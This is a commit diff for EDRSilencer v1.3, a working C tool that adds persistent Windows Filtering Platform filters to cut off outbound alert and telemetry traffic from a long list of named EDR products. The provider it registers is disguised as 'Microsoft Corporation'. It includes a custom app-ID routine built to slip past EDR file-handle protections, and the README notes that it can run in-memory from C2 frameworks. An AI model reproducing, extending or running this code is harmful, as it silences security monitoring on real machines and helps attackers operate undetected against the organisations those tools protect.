Version 1.3

Added Qualys EDR process

EDRSilencer.c

@@ -4,50 +4,89 @@ char* edrProcess[] = {
 // Microsoft Defender for Endpoint and Microsoft Defender Antivirus
     "MsMpEng.exe",
     "MsSense.exe",
+    "SenseIR.exe",
+    "SenseNdr.exe",
+    "SenseCncProxy.exe",
+    "SenseSampleUploader.exe",
 // Elastic EDR
+	"winlogbeat.exe",
     "elastic-agent.exe",
     "elastic-endpoint.exe",
     "filebeat.exe",
 // Trellix EDR
-    "xagt.exe"
+    "xagt.exe",
+// Qualys EDR
+    "QualysAgent.exe",
+// SentinelOne
+    "SentinelAgent.exe",
+    "SentinelAgentWorker.exe",
+    "SentinelServiceHost.exe",
+    "SentinelStaticEngine.exe",  
+    "LogProcessorService.exe",
+    "SentinelStaticEngineScanner.exe",
+    "SentinelHelperService.exe",
+    "SentinelBrowserNativeHost.exe",
+// Cylance
+    "CylanceSvc.exe",
+// Cybereason
+    "AmSvc.exe",
+    "CrAmTray.exe",
+    "CrsSvc.exe",
+    "ExecutionPreventionSvc.exe",
+    "CybereasonAV.exe",
+// Carbon Black EDR
+    "cb.exe",
+// Carbon Black Cloud
+    "RepMgr.exe",
+    "RepUtils.exe",
+    "RepUx.exe",
+    "RepWAV.exe",
+    "RepWSC.exe",
+// Tanium
+    "TaniumClient.exe",
+    "TaniumCX.exe",
+    "TaniumDetectEngine.exe",
+// Palo Alto Networks Traps/Cortex XDR
+    "Traps.exe",
+    "cyserver.exe",
+    "CyveraService.exe",
+    "CyvrFsFlt.exe",
+// FortiEDR
+    "fortiedr.exe",
+// Cisco Secure Endpoint (Formerly Cisco AMP)
+    "sfc.exe",
+// ESET Inspect
+    "EIConnector.exe",
+    "ekrn.exe",
+// Harfanglab EDR
+    "hurukai.exe",
+//TrendMicro Apex One
+    "CETASvc.exe",
+    "WSCommunicator.exe",
+    "EndpointBasecamp.exe",
+    "TmListen.exe",
+    "Ntrtscan.exe",
+    "TmWSCSvc.exe",
+    "PccNTMon.exe",
+    "TMBMSRV.exe",
+    "CNTAoSMgr.exe",
+    "TmCCSF.exe"
 };
 
-BOOL inWfpFlag[sizeof(edrProcess) / sizeof(edrProcess[0])] = { FALSE };
-
 // The "unblockall" feature will delete all filters that are based on the custom filter name
 WCHAR* filterName = L"Custom Outbound Filter";
+WCHAR* providerName = L"Microsoft Corporation";
+// provider description has to be unique because:
+// - avoid problem in adding persistent WFP filter to a provider (error 0x80320016)
+// - avoid removing legitimate WFP provider
+WCHAR* providerDescription = L"Microsoft Windows WFP Built-in custom provider.";
 
-// d78e1e87-8644-4ea5-9437-d809ecefc971
+BOOL inWfpFlag[sizeof(edrProcess) / sizeof(edrProcess[0])] = { FALSE };
-DEFINE_GUID(
-   FWPM_CONDITION_ALE_APP_ID,
-   0xd78e1e87,
-   0x8644,
-   0x4ea5,
-   0x94, 0x37, 0xd8, 0x09, 0xec, 0xef, 0xc9, 0x71
-);
-
-// c38d57d1-05a7-4c33-904f-7fbceee60e82
-DEFINE_GUID(
-   FWPM_LAYER_ALE_AUTH_CONNECT_V4,
-   0xc38d57d1,
-   0x05a7,
-   0x4c33,
-   0x90, 0x4f, 0x7f, 0xbc, 0xee, 0xe6, 0x0e, 0x82
-);
-
-// 4a72393b-319f-44bc-84c3-ba54dcb3b6b4
-DEFINE_GUID(
-   FWPM_LAYER_ALE_AUTH_CONNECT_V6,
-   0x4a72393b,
-   0x319f,
-   0x44bc,
-   0x84, 0xc3, 0xba, 0x54, 0xdc, 0xb3, 0xb6, 0xb4
-);
 
 // Check if the running process is our list
 BOOL isInEdrProcessList(const char* procName) {
     for (int i = 0; i < sizeof(edrProcess) / sizeof(edrProcess[0]); i++) {
-        if (strstr(procName, edrProcess[i]) != NULL && !inWfpFlag[i]) {
+        if (strcmp(procName, edrProcess[i]) == 0 && !inWfpFlag[i]) {
             inWfpFlag[i] = TRUE;
             return TRUE;
         }
@@ -57,25 +96,30 @@ BOOL isInEdrProcessList(const char* procName) {
 
 // Add WFP filters for all known EDR process(s)
 void BlockEdrProcessTraffic() {
-    HANDLE hEngine;
+    DWORD result = 0;
-    FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
+    HANDLE hEngine = NULL;
-    HANDLE hProcessSnap;
+    HANDLE hProcessSnap = NULL;
-    HANDLE hModuleSnap;
+    HANDLE hModuleSnap = NULL;
-    PROCESSENTRY32 pe32;
+    PROCESSENTRY32 pe32 = {0};
-    MODULEENTRY32 me32;
     BOOL isEdrDetected = FALSE;
 
+    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
+    if (result != ERROR_SUCCESS) {
+        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
+        return;
+    }
+   
     EnableSeDebugPrivilege();
 
     hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     if (hProcessSnap == INVALID_HANDLE_VALUE) {
-        printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x\n", GetLastError());
+        printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x.\n", GetLastError());
         return;
     }
 
     pe32.dwSize = sizeof(PROCESSENTRY32);
     if (!Process32First(hProcessSnap, &pe32)) {
-        printf("[-] Process32First failed with error code: 0x%x\n", GetLastError());
+        printf("[-] Process32First failed with error code: 0x%x.\n", GetLastError());
         CloseHandle(hProcessSnap);
         return;
     }
@@ -87,20 +131,43 @@ void BlockEdrProcessTraffic() {
             // Get full path of the running process
             HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
             if (hProcess) {
-                WCHAR fullPath[MAX_PATH];
+                WCHAR fullPath[MAX_PATH] = {0};
                 DWORD size = MAX_PATH;
-                QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
+                FWPM_FILTER_CONDITION0 cond = {0};
-                FWPM_FILTER_CONDITION0 cond;
                 FWPM_FILTER0 filter = {0};
-                FWP_BYTE_BLOB* appId;
+                FWPM_PROVIDER0 provider = {0};
+                GUID providerGuid = {0};
+                FWP_BYTE_BLOB* appId = NULL;
+                UINT64 filterId = 0;
+                ErrorCode errorCode = CUSTOM_SUCCESS;
                 
-                if (FwpmGetAppIdFromFileName0(fullPath, &appId) != ERROR_SUCCESS) {
+                QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
-                    printf("    [-] FwpmGetAppIdFromFileName0 failed to get app ID.\n");
+                errorCode = CustomFwpmGetAppIdFromFileName0(fullPath, &appId);
+                if (errorCode != CUSTOM_SUCCESS) {
+                    switch (errorCode) {
+                        case CUSTOM_FILE_NOT_FOUND:
+                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", fullPath);
+                            break;
+                        case CUSTOM_MEMORY_ALLOCATION_ERROR:
+                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", fullPath);
+                            break;
+                        case CUSTOM_NULL_INPUT:
+                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", fullPath);
+                            break;
+                        case CUSTOM_DRIVE_NAME_NOT_FOUND:
+                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", fullPath);
+                            break;
+                        case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME:
+                            printf("    [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", fullPath);
+                            break;
+                        default:
+                            break;
+                    }
                     CloseHandle(hProcess);
                     continue;
                 } 
 
-                // Setting up WFP filter and condition
+                // Sett up WFP filter and condition
                 filter.displayData.name = filterName;
                 filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
                 filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
@@ -112,15 +179,29 @@ void BlockEdrProcessTraffic() {
                 filter.filterCondition = &cond;
                 filter.numFilterConditions = 1;
 
-                UINT64 filterId;
+                 // Add WFP provider for the filter
-                DWORD result;
+                if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
+                    filter.providerKey = &providerGuid;
+                } else {
+                    provider.displayData.name = providerName;
+                    provider.displayData.description = providerDescription;
+                    provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
+                    result = FwpmProviderAdd0(hEngine, &provider, NULL);
+                    if (result != ERROR_SUCCESS) {
+                        printf("    [-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
+                    } else {
+                        if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
+                            filter.providerKey = &providerGuid;
+                        }
+                    }
+                }
 
                 // Add filter to both IPv4 and IPv6 layers
                 result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
                 if (result == ERROR_SUCCESS) {
                     printf("    Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
                 } else {
-                    printf("    [-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result);
+                    printf("    [-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
                 }
                 
                 filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
@@ -128,13 +209,13 @@ void BlockEdrProcessTraffic() {
                 if (result == ERROR_SUCCESS) {
                     printf("    Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
                 } else {
-                    printf("    [-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result);
+                    printf("    [-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
                 }
 
-                FwpmFreeMemory0((void**)&appId);
+                FreeAppId(appId);
                 CloseHandle(hProcess);
             } else {
-                printf("    [-] Could not open process \"%s\" with error code: 0x%x\n", pe32.szExeFile, GetLastError());
+                printf("    [-] Could not open process \"%s\" with error code: 0x%x.\n", pe32.szExeFile, GetLastError());
             }
         }
     } while (Process32Next(hProcessSnap, &pe32));
@@ -149,19 +230,45 @@ void BlockEdrProcessTraffic() {
 
 // Add block WFP filter to user-defined process
 void BlockProcessTraffic(char* fullPath) {
-    HANDLE hEngine;
+    DWORD result = 0;
-    FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
+    HANDLE hEngine = NULL;
-
+    WCHAR wFullPath[MAX_PATH] = {0};
-    WCHAR wFullPath[MAX_PATH];
     DWORD size = MAX_PATH;
-    CharArrayToWCharArray(fullPath, wFullPath, sizeof(wFullPath) / sizeof(wFullPath[0]));
+    FWPM_FILTER_CONDITION0 cond = {0};
-    FWPM_FILTER_CONDITION0 cond;
     FWPM_FILTER0 filter = {0};
+    FWPM_PROVIDER0 provider = {0};
+    GUID providerGuid = {0};
+    FWP_BYTE_BLOB* appId = NULL;
+    UINT64 filterId = 0;
+    ErrorCode errorCode = CUSTOM_SUCCESS;
     
-    FWP_BYTE_BLOB* appId;
+    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
-
+    if (result != ERROR_SUCCESS) {
-    if (FwpmGetAppIdFromFileName0(wFullPath, &appId) != ERROR_SUCCESS) {
+        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
-        printf("[-] FwpmGetAppIdFromFileName0 failed to get app ID. Please check if the process path is valid.\n");
+        return;
+    }
+    CharArrayToWCharArray(fullPath, wFullPath, sizeof(wFullPath) / sizeof(wFullPath[0]));
+    errorCode = CustomFwpmGetAppIdFromFileName0(wFullPath, &appId);
+    if (errorCode != CUSTOM_SUCCESS) {
+        switch (errorCode) {
+            case CUSTOM_FILE_NOT_FOUND:
+                printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", wFullPath);
+                break;
+            case CUSTOM_MEMORY_ALLOCATION_ERROR:
+                printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", wFullPath);
+                break;
+            case CUSTOM_NULL_INPUT:
+                printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", wFullPath);
+                break;
+            case CUSTOM_DRIVE_NAME_NOT_FOUND:
+                printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", wFullPath);
+                break;
+            case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME:
+                printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", wFullPath);
+                break;
+            default:
+                break;
+        }
         return;
     }
 
@@ -177,15 +284,29 @@ void BlockProcessTraffic(char* fullPath) {
     filter.filterCondition = &cond;
     filter.numFilterConditions = 1;
 
-    UINT64 filterId;
+    // Add WFP provider for the filter
-    DWORD result;
+    if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
+        filter.providerKey = &providerGuid;
+    } else {
+        provider.displayData.name = providerName;
+        provider.displayData.description = providerDescription;
+        provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
+        result = FwpmProviderAdd0(hEngine, &provider, NULL);
+        if (result != ERROR_SUCCESS) {
+            printf("[-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
+        } else {
+            if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
+                filter.providerKey = &providerGuid;
+            }
+        }
+    }
 
     // Add filter to both IPv4 and IPv6 layers
     result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
     if (result == ERROR_SUCCESS) {
         printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
     } else {
-        printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result);
+        printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
     }
 
     filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
@@ -193,31 +314,32 @@ void BlockProcessTraffic(char* fullPath) {
     if (result == ERROR_SUCCESS) {
         printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
     } else {
-        printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result);
+        printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
     }
 
-    FwpmFreeMemory0((void**)&appId);
+    FreeAppId(appId);
     FwpmEngineClose0(hEngine);
     return;
 }
 
 // Remove all WFP filters previously created
 void UnblockAllWfpFilters() {
-    HANDLE hEngine;
+    HANDLE hEngine = NULL;
-    DWORD result;
+    DWORD result = 0;
-    HANDLE enumHandle;
+    HANDLE enumHandle = NULL;
-    FWPM_FILTER0** filters;
+    FWPM_FILTER0** filters = NULL;
+    GUID providerGuid = {0};
     UINT32 numFilters = 0;
     BOOL foundFilter = FALSE;
     result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
     if (result != ERROR_SUCCESS) {
-        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result);
+        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
         return;
     }
 
     result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle);
     if (result != ERROR_SUCCESS) {
-        printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x\n", result);
+        printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x.\n", result);
         return;
     }
 
@@ -225,7 +347,7 @@ void UnblockAllWfpFilters() {
         result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters);
 
         if (result != ERROR_SUCCESS) {
-            printf("[-] FwpmFilterEnum0 failed with error code: 0x%x\n", result);
+            printf("[-] FwpmFilterEnum0 failed with error code: 0x%x.\n", result);
             FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
             FwpmEngineClose0(hEngine);
             return;
@@ -249,6 +371,17 @@ void UnblockAllWfpFilters() {
         }
     }
 
+    if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
+        result = FwpmProviderDeleteByKey0(hEngine, &providerGuid);
+        if (result != ERROR_SUCCESS) {
+            if (result != FWP_E_IN_USE) {
+                printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result);
+            }
+        } else {
+            printf("Deleted custom WFP provider.\n");
+        }
+    }
+
     if (!foundFilter) {
         printf("[-] Unable to find any WFP filter created by this tool.\n");
     }
@@ -258,12 +391,13 @@ void UnblockAllWfpFilters() {
 
 // Remove WFP filter based on filter id
 void UnblockWfpFilter(UINT64 filterId) {
-    HANDLE hEngine;
+    HANDLE hEngine = NULL;
-    DWORD result;
+    DWORD result = 0;
+    GUID providerGuid = {0};
 
     result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
     if (result != ERROR_SUCCESS) {
-        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result);
+        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
         return;
     }
     
@@ -278,19 +412,31 @@ void UnblockWfpFilter(UINT64 filterId) {
         printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result);
     }
 
+    if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
+        result = FwpmProviderDeleteByKey0(hEngine, &providerGuid);
+        if (result != ERROR_SUCCESS) {
+            if (result != FWP_E_IN_USE) {
+                printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result);
+            }
+        } else {
+            printf("Deleted custom WFP provider.\n");
+        }
+    }
+
     FwpmEngineClose0(hEngine);
 }
 
 void PrintHelp() {
-    printf("Usage: EDROutBlock.exe <blockedr/block/unblockall/unblock>\n");
+    printf("Usage: EDRSilencer.exe <blockedr/block/unblockall/unblock>\n");
+    printf("Version: 1.3\n");
     printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes:\n");
-    printf("  EDROutBlock.exe blockedr\n\n");
+    printf("  EDRSilencer.exe blockedr\n\n");
     printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required):\n");
-    printf("  EDROutBlock.exe block \"C:\\Windows\\System32\\curl.exe\"\n\n");
+    printf("  EDRSilencer.exe block \"C:\\Windows\\System32\\curl.exe\"\n\n");
     printf("- Remove all WFP filters applied by this tool:\n");
-    printf("  EDROutBlock.exe unblockall\n\n");
+    printf("  EDRSilencer.exe unblockall\n\n");
     printf("- Remove a specific WFP filter based on filter id:\n");
-    printf("  EDROutBlock.exe unblock <filter id>");
+    printf("  EDRSilencer.exe unblock <filter id>");
 }
 
 int main(int argc, char *argv[]) {
@@ -329,7 +475,7 @@ int main(int argc, char *argv[]) {
         UINT64 filterId = strtoull(argv[2], &endptr, 10);
 
         if (errno != 0) {
-            printf("[-] strtoull failed with error code: 0x%x\n", errno);
+            printf("[-] strtoull failed with error code: 0x%x.\n", errno);
             return 1;
         }
 

README.md

@@ -7,8 +7,27 @@ This tool offers the following features:
 - Remove all WFP filters created by this tool
 - Remove a specific WFP filter by filter id
 - Support to run in C2 with in-memory PE execution module (e.g., `BruteRatel's memexec`)
+- Some EDR controls (e.g., minifilter) deny access when a process attempts to obtain a file handle of its EDR processes (e.g., through `CreateFileW`). However, the `FwpmGetAppIdFromFileName0` API, which is used to obtain the FWP app id of the targeted EDR process, calls `CreateFileW` internally. To avoid this, a custom `FwpmGetAppIdFromFileName0` was implemented to construct the app id without invoking `CreateFileW`, thus preventing unexpected failures when adding a WFP filter to an EDR process
 
-**The current EDR process block list (edrProcess) includes only a limited number of EDR solutions (e.g., MDE, Elastic EDR). It would be appreciated if someone could assist in expanding the process list in `EDRSilencer.c` to encompass a broader range of other EDR solutions.**
+The tool currently supports the following EDRs:
+- Microsoft Defender for Endpoint and Microsoft Defender Antivirus
+- Elastic EDR
+- Trellix EDR
+- Qualys EDR
+- SentinelOne
+- Cylance
+- Cybereason
+- Carbon Black EDR
+- Carbon Black Cloud
+- Tanium
+- Palo Alto Networks Traps/Cortex XDR
+- FortiEDR
+- Cisco Secure Endpoint (Formerly Cisco AMP)
+- ESET Inspect
+- Harfanglab EDR
+- TrendMicro Apex One
+
+**As I do not have access to all these EDRs for testing, please do not hesitate to correct me if the listed processes (edrProcess in `EDRSilencer.c`) prove insufficient in blocking all alert, detection, or event forward traffic.**
 
 ## Testing Environment
 Tested in Windows 10 and Windows Server 2016
@@ -31,7 +50,7 @@ Usage: EDRSilencer.exe <blockedr/block/unblockall/unblock>
 
 ## Compile
 ```
-x86_64-w64-mingw32-gcc EDRSilencer.c -o EDRSilencer.exe -lfwpuclnt utils.c
+x86_64-w64-mingw32-gcc EDRSilencer.c utils.c -o EDRSilencer.exe -lfwpuclnt
 ```
 
 ## Example

utils.c

@@ -1,20 +1,20 @@
 #include "utils.h"
 
 BOOL CheckProcessIntegrityLevel() {
-    HANDLE hToken;
+    HANDLE hToken = NULL;
     DWORD dwLength = 0;
     PTOKEN_MANDATORY_LABEL pTIL = NULL;
-    DWORD dwIntegrityLevel;
+    DWORD dwIntegrityLevel = 0;
     BOOL isHighIntegrity = FALSE;
 
     if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) {
         if (GetLastError() != ERROR_NO_TOKEN) {
-            printf("[-] OpenThreadToken failed with error code:0x%x\n", GetLastError());
+            printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
             return FALSE;
         }
 
         if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
-            printf("[-] OpenProcessToken failed with error code:0x%x\n", GetLastError());
+            printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
             return FALSE;
         }
     }
@@ -22,20 +22,20 @@ BOOL CheckProcessIntegrityLevel() {
     // Get the size of the integrity level information
     if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength) && 
         GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
-        printf("[-] GetTokenInformation failed with error code:0x%x\n", GetLastError());
+        printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
         CloseHandle(hToken);
         return FALSE;
     }
 
     pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength);
     if (pTIL == NULL) {
-        printf("[-] LocalAlloc failed with error code:0x%x\n", GetLastError());
+        printf("[-] LocalAlloc failed with error code: 0x%x.\n", GetLastError());
         CloseHandle(hToken);
         return FALSE;
     }
 
     if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) {
-        printf("[-] GetTokenInformation failed with error code:0x%x\n", GetLastError());
+        printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
         LocalFree(pTIL);
         CloseHandle(hToken);
         return FALSE;
@@ -57,22 +57,22 @@ BOOL CheckProcessIntegrityLevel() {
 // Enable SeDebugPrivilege to obtain full path of running processes
 BOOL EnableSeDebugPrivilege() {
 	HANDLE hToken = NULL;
-	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
+	TOKEN_PRIVILEGES tokenPrivileges = {0};
 	
     if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, TRUE, &hToken)) {
         if (GetLastError() != ERROR_NO_TOKEN) {
-            printf("[-] OpenThreadToken failed with error code:0x%x\n", GetLastError());
+            printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
             return FALSE;
         }
 
         if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
-            printf("[-] OpenProcessToken failed with error code:0x%x\n", GetLastError());
+            printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
             return FALSE;
         }
     }
 
 	if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tokenPrivileges.Privileges[0].Luid)){
-        printf("[-] LookupPrivilegeValueA failed with error code:0x%x\n", GetLastError());
+        printf("[-] LookupPrivilegeValueA failed with error code: 0x%x.\n", GetLastError());
 		CloseHandle(hToken);
 		return FALSE;
 	}
@@ -81,7 +81,7 @@ BOOL EnableSeDebugPrivilege() {
 	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
 	if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
-        printf("[-] AdjustTokenPrivileges failed with error code:0x%x\n", GetLastError());
+        printf("[-] AdjustTokenPrivileges failed with error code: 0x%x.\n", GetLastError());
 		CloseHandle(hToken);
 		return FALSE;
 	}
@@ -100,7 +100,138 @@ void CharArrayToWCharArray(const char charArray[], WCHAR wCharArray[], size_t wC
     int result = MultiByteToWideChar(CP_UTF8, 0, charArray, -1, wCharArray, wCharArraySize);
 
     if (result == 0) {
-        printf("[-] MultiByteToWideChar failed with error code:0x%x\n", GetLastError());
+        printf("[-] MultiByteToWideChar failed with error code: 0x%x.\n", GetLastError());
         wCharArray[0] = L'\0';
     }
 }
+
+BOOL GetDriveName(PCWSTR filePath, wchar_t* driveName, size_t driveNameSize) {
+    if (!filePath) {
+        return FALSE;
+    }
+    const wchar_t *colon = wcschr(filePath, L':');
+    if (colon && (colon - filePath + 1) < driveNameSize) {
+        wcsncpy(driveName, filePath, colon - filePath + 1);
+        driveName[colon - filePath + 1] = L'\0';
+        return TRUE;
+    } else {
+        return FALSE;
+    }
+}
+
+ErrorCode ConvertToNtPath(PCWSTR filePath, wchar_t* ntPathBuffer, size_t bufferSize) {
+    WCHAR driveName[10];
+    WCHAR ntDrivePath[MAX_PATH];
+    if (!filePath || !ntPathBuffer) {
+        return CUSTOM_NULL_INPUT;
+    }
+
+    if (!GetDriveName(filePath, driveName, sizeof(driveName) / sizeof(WCHAR))) {
+        return CUSTOM_DRIVE_NAME_NOT_FOUND;
+    }
+
+    if (QueryDosDeviceW(driveName, ntDrivePath, sizeof(ntDrivePath) / sizeof(WCHAR)) == 0) {
+        return CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME;
+    }
+
+    swprintf(ntPathBuffer, bufferSize, L"%S%S", ntDrivePath, filePath + wcslen(driveName));
+    
+    for (size_t i = 0; ntPathBuffer[i] != L'\0'; ++i) {
+        ntPathBuffer[i] = towlower(ntPathBuffer[i]);
+    }
+    return CUSTOM_SUCCESS;
+}
+
+BOOL FileExists(PCWSTR filePath) {
+    if (!filePath) {
+        return FALSE;
+    }
+
+    DWORD fileAttrib = GetFileAttributesW(filePath);
+    if (fileAttrib == INVALID_FILE_ATTRIBUTES) {
+        return FALSE;
+    }
+
+    return TRUE;
+}
+
+ErrorCode CustomFwpmGetAppIdFromFileName0(PCWSTR filePath, FWP_BYTE_BLOB** appId) {
+    if (!FileExists(filePath)) {
+        return CUSTOM_FILE_NOT_FOUND;
+    }
+
+    WCHAR ntPath[MAX_PATH];
+    ErrorCode errorCode = ConvertToNtPath(filePath, ntPath, sizeof(ntPath));
+    if (errorCode != CUSTOM_SUCCESS) {
+        return errorCode;
+    }
+    *appId = (FWP_BYTE_BLOB*)malloc(sizeof(FWP_BYTE_BLOB));
+    if (!*appId) {
+        return CUSTOM_MEMORY_ALLOCATION_ERROR;
+    }
+
+    (*appId)->size = wcslen(ntPath) * sizeof(WCHAR) + sizeof(WCHAR);
+    
+    (*appId)->data = (UINT8*)malloc((*appId)->size);
+    if (!(*appId)->data) {
+        free(*appId);
+        return CUSTOM_MEMORY_ALLOCATION_ERROR;
+    }
+    memcpy((*appId)->data, ntPath, (*appId)->size);
+    return CUSTOM_SUCCESS;
+}
+
+void FreeAppId(FWP_BYTE_BLOB* appId) {
+    if (appId) {
+        if (appId->data) {
+            free(appId->data);
+        }
+        free(appId);
+    }
+}
+
+// Get provider GUID by description
+BOOL GetProviderGUIDByDescription(PCWSTR providerDescription, GUID* outProviderGUID) {
+    DWORD result = 0;
+    HANDLE hEngine = NULL;
+    HANDLE enumHandle = NULL;
+    FWPM_PROVIDER0** providers = NULL;
+    UINT32 numProviders = 0;
+
+    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
+    if (result != ERROR_SUCCESS) {
+        printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
+        return FALSE;
+    }
+
+    result = FwpmProviderCreateEnumHandle0(hEngine, NULL, &enumHandle);
+    if (result != ERROR_SUCCESS) {
+        printf("[-] FwpmProviderCreateEnumHandle0 failed with error code: 0x%x.\n", result);
+        FwpmEngineClose0(hEngine);
+        return FALSE;
+    }
+
+    result = FwpmProviderEnum0(hEngine, enumHandle, 100, &providers, &numProviders);
+    if (result != ERROR_SUCCESS) {
+        printf("[-] FwpmProviderEnum0 failed with error code: 0x%x.\n", result);
+        FwpmEngineClose0(hEngine);
+        return FALSE;
+    }
+
+    for (UINT32 i = 0; i < numProviders; i++) {
+        if (providers[i]->displayData.description != NULL) {
+            if (wcscmp(providers[i]->displayData.description, providerDescription) == 0) {
+                *outProviderGUID = providers[i]->providerKey;
+                return TRUE;
+            }
+        }   
+    }
+
+    if (providers) {
+        FwpmFreeMemory0((void**)&providers);
+    }
+
+    FwpmProviderDestroyEnumHandle0(hEngine, enumHandle);
+    FwpmEngineClose0(hEngine);
+    return FALSE;
+}

utils.h

@@ -4,7 +4,50 @@
 #include <stdio.h>
 #include <tlhelp32.h>
 
+// d78e1e87-8644-4ea5-9437-d809ecefc971
+DEFINE_GUID(
+   FWPM_CONDITION_ALE_APP_ID,
+   0xd78e1e87,
+   0x8644,
+   0x4ea5,
+   0x94, 0x37, 0xd8, 0x09, 0xec, 0xef, 0xc9, 0x71
+);
+
